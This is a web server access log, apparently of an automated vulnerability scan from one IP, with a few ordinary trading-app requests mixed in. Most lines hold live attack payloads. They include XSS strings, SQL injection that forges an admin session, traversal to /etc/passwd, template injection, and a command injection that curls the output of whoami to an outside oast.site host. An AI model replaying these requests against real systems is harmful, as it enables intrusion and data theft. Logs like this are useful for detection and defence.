[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /modules/miniform/ajax_delete_message.php HTTP/1.1" 196
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webmail/?color=%22%3E%3Cimg%20src=x%20onerror=confirm(document.cookie)%3E HTTP/1.1" 196
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /human.aspx?Username=SQL%27%3BINSERT+INTO+activesessions+(SessionID)+values+(%27380CxyvmKaNZK0qkNd62Zqt1f4r%27);UPDATE+activesessions+SET+Username=(select+Username+from+users+order+by+permission+desc+limit+1)+WHERE+SessionID=%27380CxyvmKaNZK0qkNd62Zqt1f4r%27;UPDATE+activesessions+SET+LoginName=%27test@test.com%27+WHERE+SessionID=%27380CxyvmKaNZK0qkNd62Zqt1f4r%27;UPDATE+activesessions+SET+RealName=%27test@test.com%27+WHERE+SessionID=%27380CxyvmKaNZK0qkNd62Zqt1f4r%27;UPDATE+activesessions+SET+InstId=%271234%27+WHERE+SessionID=%27380CxyvmKaNZK0qkNd62Zqt1f4r%27;UPDATE+activesessions+SET+IpAddress=%273.1.128.83%27+WHERE+SessionID=%27380CxyvmKaNZK0qkNd62Zqt1f4r%27;UPDATE+activesessions+SET+LastTouch=%272099-06-10+09:30:00%27+WHERE+SessionID=%27380CxyvmKaNZK0qkNd62Zqt1f4r%27;UPDATE+activesessions+SET+DMZInterface=%2710%27+WHERE+SessionID=%27380CxyvmKaNZK0qkNd62Zqt1f4r%27;UPDATE+activesessions+SET+Timeout=%2760%27+WHERE+SessionID=%27380CxyvmKaNZK0qkNd62Zqt1f4r%27;UPDATE+activesessions+SET+ResilNode=%2710%27+WHERE+SessionID=%27380CxyvmKaNZK0qkNd62Zqt1f4r%27;UPDATE+activesessions+SET+AcctReady=%271%27+WHERE+SessionID=%27380CxyvmKaNZK0qkNd62Zqt1f4r%27%23 HTTP/1.1" 196
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /modules/simpleimportproduct/send.php?phpinfo=1 HTTP/1.1" 196
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /users/viewi1omd%22%3e%3cimg%20src%3da%20onerror%3dalert(document.domain)%3el43yn/108?tab=activity HTTP/1.1" 196
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuovo/spreadsheet-reader/test.php?File=../../../../../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/view/%22%5d%5d%20%7b%7b%61%73%79%6e%63%20%61%73%79%6e%63%3d%22%74%72%75%65%22%20%63%61%63%68%65%64%3d%22%66%61%6c%73%65%22%20%63%6f%6e%74%65%78%74%3d%22%64%6f%63%2e%72%65%66%65%72%65%6e%63%65%22%7d%7d%7b%7b%70%79%74%68%6f%6e%7d%7d%70%72%69%6e%74%28%33%37%32%34%33%34%38%20%2a%20%38%34%37%33%33%33%34%29%7b%7b%2f%70%79%74%68%6f%6e%7d%7d%7b%7b%2f%61%73%79%6e%63%7d%7d?sheet=SkinsCode.XWikiSkinsSheet&xpage=view HTTP/1.1" 196
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /xwiki/bin/get/FlamingoThemes/Cerulean?xpage=xpart&vm=previewactions.vm&xcontinue=javascript:alert(document.domain) HTTP/1.1" 196
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /static/..%5c..%5c..%5c..%5cetc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/ultimate-member/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-json/wp/v2/users/ HTTP/1.1" 196
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /modules/leocustomajax/leoajax.php?cat_list=(SELECT(0)FROM(SELECT(SLEEP(6)))a) HTTP/1.1" 196
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /enrollment/index.php?page=home HTTP/1.1" 196
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.%2e/%2e%2e/%2e%2e/%2e%2e/etc/config/nodogsplash HTTP/1.1" 226
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /v1/folder?path=%2F HTTP/1.1" 196
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/database/3 HTTP/1.1" 196
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php/gm5rj%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3Ebwude?controller=pjAdmin&action=pjActionLogin&err=1 HTTP/1.1" 196
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?controller=pjFrontPublic&action=pjActionServices&locale=1&index=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1" 196
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /graph_view.php?action=tree_content&node=1-1-tree_anchor&rfilter=%22or+%22%22%3D%22%28%28%22%29%29%3BSELECT+SLEEP%2810%29%3B--+- HTTP/1.1" 196
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /_images/53mH6Z HTTP/1.1" 196
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /resources/qmc/fonts/CVE-2023-41265.ttf HTTP/1.1" 226
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /users/viewi1omd%22%3E%3Cimg%20src=a%20onerror=alert%28document.domain%29%3El43yn/108?tab=activity HTTP/1.1" 196
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/users HTTP/1.1" 196
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /_api/web/siteusers HTTP/1.1" 196
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/sys/set_passwd HTTP/1.1" 196
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?controller=pjFrontPublic&action=pjActionSearch&locale=1&index=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1" 196
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cpanelwebcall/%3C%3E%3Cimg%20src=x%20onerror=%22prompt%28document.domain%29%22%3E HTTP/1.1" 196
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /matchmakings/questiontmili%22%3E%3Cimg%20src%3da%20onerror%3dalert(document.domain)%3Ew71ch?number HTTP/1.1" 196
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /resources/qmc/fonts/../../../qrs/ReloadTask?xrfkey=1333333333333337&filter=.ttf HTTP/1.1" 196
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /classified/%22%3E%3Cimg%20src=a%20onerror=alert('document.domain')%3E/search?category=1 HTTP/1.1" 196
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /preview.php?controller=pjLoad&action=pjActionIndex&question_search=1&pjPage=1&column=created&direction=DESC&keyword=%22><script>alert(document.domain)</script> HTTP/1.1" 196
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?q=./gibbon.sql HTTP/1.1" 3426
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /../../../../etc/passwd HTTP/1.1" 226
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.cpr/%2Fetc%2Fpasswd HTTP/1.1" 196
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pos-kasir-php/excel.php HTTP/1.1" 196
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?controller=pjFront&action=pjActionSearch&session_id&locale=1&index=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&date HTTP/1.1" 196
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /search/index?q=\"><img+src=a+onerror=alert(document.domain)>ridxm HTTP/1.1" 196
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /%5coast.pro/%2f%2e%2e HTTP/1.1" 196
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /opencms/cmisatom/cmis-online/type?id=1%27\"><svg%20onload=alert(document.domain)> HTTP/1.1" 196
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /loganalyzer/asktheoracle.php?type=domain&query&uid=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1" 196
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ad-list-search?keyword&keyword&lat&lat&long&long&location&category HTTP/1.1" 196
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /opencms/cmisatom/cmis-online/query HTTP/1.1" 196
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/index?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /lwa/Webpages/LwaClient.aspx?meeturl=aHR0cDovL2Q1ZzZzZmFoYXVzbGpla2VwbDIwZWMxZGVkb2NlYmtvcy5vYXN0LnNpdGUvP2lkPVhQQiUyNXsxMzM3KjEzMzd9Iy54eC8v HTTP/1.1" 196
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /RealGimmWeb/Pages/Sistema/LogObjectTrace.aspx HTTP/1.1" 196
[09/Jan/2026:10:51:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /b_download/index.html HTTP/1.1" 196
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?controller=pjFront&action=pjActionServices&locale=1&index=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1" 196
[09/Jan/2026:10:51:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /setup/setupadministrator.action HTTP/1.1" 196
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/hassio_ingress/.%09./supervisor/info HTTP/1.1" 196
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "DELETE /app/rest/users/id:1/tokens/RPC2 HTTP/1.1" 223
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/terminal/sessions/ HTTP/1.1" 196
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /app HTTP/1.1" 196
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /index.php HTTP/1.1" 196
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /guestaccess.aspx HTTP/1.1" 196
[09/Jan/2026:10:51:48 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927391702 HTTP/1.1" -
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/server/version HTTP/1.1" 196
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/cors/data:text%2fhtml;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+%23 HTTP/1.1" 196
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/ldap-authentication-report.csv HTTP/1.1" 196
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7C%7C+%28echo+%27%5BS%5D%27%3B+id%3B+echo+%27%5BE%5D%27%29%23%3B HTTP/1.1" 196
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /stores%22%3E%3Cimg+src=a+onerror=alert%28document.domain%29%3Eridxm/all-products?store_id&keyword&price_from&price_to&rating&store_category_id&sortby=most_recent HTTP/1.1" 199
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/wp-fastest-cache/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/authentication/login HTTP/1.1" 196
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nodes?view=summary HTTP/1.1" 196
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/quttera-web-malware-scanner/quttera_wp_report.txt HTTP/1.1" 196
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /academy/tutor/filter?searched_word=acoa5\"&gt;&gt;&gt;&gt;&lt;script&lt;script&lt;script&lt;script&gt;alert(document.domain)&gt;alert(document.domain)&gt;alert(document.domain)&gt;alert(document.domain)&lt;/script&lt;/script&lt;/script&lt;/script&gt;dyzs0&gt;dyzs0&gt;dyzs0&gt;dyzs0&searched_tution_class_type%5B%5D=acoa5\"&price_min=1&price_max=9&searched_price_type%5B%5D=acoa5\"&searched_duration%5B%5D=acoa5\" HTTP/1.1" 196
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /static/js/../../../../../../../../../../../../../../etc/passwd HTTP/1.1" 226
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /cmisatom/cmis-online/query HTTP/1.1" 196
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /WebInterface HTTP/1.1" 196
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?gf_page=randomstring HTTP/1.1" 3426
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /project/switch/1?targetPath=http://oast.pro HTTP/1.1" 196
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /ajax-api/2.0/mlflow/registered-models/create HTTP/1.1" 196
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /keepalive.php?caller=%22%3E%3Cimg+src%3d1+onerror%3dalert(document.domain)+%2F%3E&uq_mt=1664137650.085 HTTP/1.1" 196
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/artifact/getArtifact?artifact_path=../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /cgi-bin/vitogate.cgi HTTP/1.1" 199
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /install/index.php?1692443074&space=%3Cimg%20src=1%20onerror=alert(document.domain)%3E HTTP/1.1" 196
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "PUT /api/2.0/mlflow-artifacts/artifacts/380CyB4b82sLyPEp71D6XLphKSo HTTP/1.1" 220
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.hsp?passwordExpired=yes&domainName=\\'-alert(document.domain),// HTTP/1.1" 196
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /uploads/ HTTP/1.1" 196
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /signin HTTP/1.1" 196
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /users/user-dark-features HTTP/1.1" 196
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-json/post-smtp/v1/connect-app HTTP/1.1" 196
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /tmui/login.jsp HTTP/1.1" 226
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /partymgr/control/getJSONuiLabel HTTP/1.1" 196
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //tagebuch/eintraege/index.html?reloaded&page=1\">%3Cscript%3Ealert(document.domain)%3c%2fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /webtools/control/ProgramExport;/?USERNAME&PASSWORD&requirePasswordChange=Y HTTP/1.1" 196
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?filename=../../../../../../etc/passwd&mphb_action=download HTTP/1.1" 3426
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /user/login/ HTTP/1.1" 196
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/sys/login HTTP/1.1" 196
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /users/change_emailahrixia%22%3e%3cimg%20src%3da%20onerror%3dalert(document.domain)%3eahrixia?step1=1 HTTP/1.1" 196
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /php/ping.php HTTP/1.1" 196
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /tutor/filter?searched_word&searched_tution_class_type[]=1&price_min=(SELECT(0)FROM(SELECT(SLEEP(7)))a)&price_max=9&searched_price_type[]=hourly&searched_duration[]=0 HTTP/1.1" 196
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /WLC0ney2%22%3E%3Cimg%20src=a%20onerror=alert%28document.domain%29%3E/..CFIDE/wizards/common/_authenticatewizarduser.cfm HTTP/1.1" 199
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /app HTTP/1.1" 196
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /dview8/api/usersByLevel HTTP/1.1" 196
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/backups-dup-lite/tmp/ HTTP/1.1" 196
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/%3Cimg%20src=%22%22%20onerror=alert(document.domain)%3E HTTP/1.1" 196
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /cgi-bin/quick/quick.cgi?func=switch_os&todo=uploaf_firmware_image HTTP/1.1" 199
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /lang/log/httpd.log HTTP/1.1" 196
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /search/index/?q=test%22%3e%3cscript%3ealert(document.domain)%3c%2fscript%3etest HTTP/1.1" 196
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /ajax-api/2.0/mlflow/registered-models/create HTTP/1.1" 196
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/media-library-assistant/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /userentry?accountId=/../../../tomcat/webapps/2rDlS/&symbolName=test&base64UserName=YWRtaW4= HTTP/1.1" 196
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v3/user/orgs HTTP/1.1" 196
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /dologin.action HTTP/1.1" 196
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-json/lp/v1/courses/archive-course?order_by=1+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))X)&limit=-1 HTTP/1.1" 196
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /hoteldruid/inizio.php HTTP/1.1" 196
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /ajax-api/2.0/mlflow/experiments/create HTTP/1.1" 196
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /modules/updateproducts/send.php?phpinfo=1 HTTP/1.1" 196
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backend/backend/auth/signin HTTP/1.1" 196
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?color=%22%3e%3cimg%20src%20onerror%3dalert(document.domain)%3e%3c%22%27 HTTP/1.1" 3426
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /oauth/idp/.well-known/openid-configuration HTTP/1.1" 278
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /solr/admin/metrics HTTP/1.1" 196
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /rpc/clients/xmlrpc HTTP/1.1" 196
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /connectioncheck.php?ip=127.0.0.1+%26%26+curl+http%3A%2F%2F%24%28whoami%29.d5g6sfahausljekepl206wb5s9s5edsoj.oast.site HTTP/1.1" 196
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nagiosxi/login.php HTTP/1.1" 196
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /users/sign_in HTTP/1.1" 196
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/import-xml-feed/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /modules/ndk_steppingpack/search-result.php HTTP/1.1" 196
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?rest_route=/wp/v2/users HTTP/1.1" 3426
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /asyncrenderer/%7B%7Burl%7D%7D?clientId={{id}}&timeout=500&wiki=xwiki HTTP/1.1" 196
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/index/login?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /apps/graphapi/vendor/microsoft/microsoft-graph/tests/GetPhpInfo.php/2pKp.css HTTP/1.1" 196
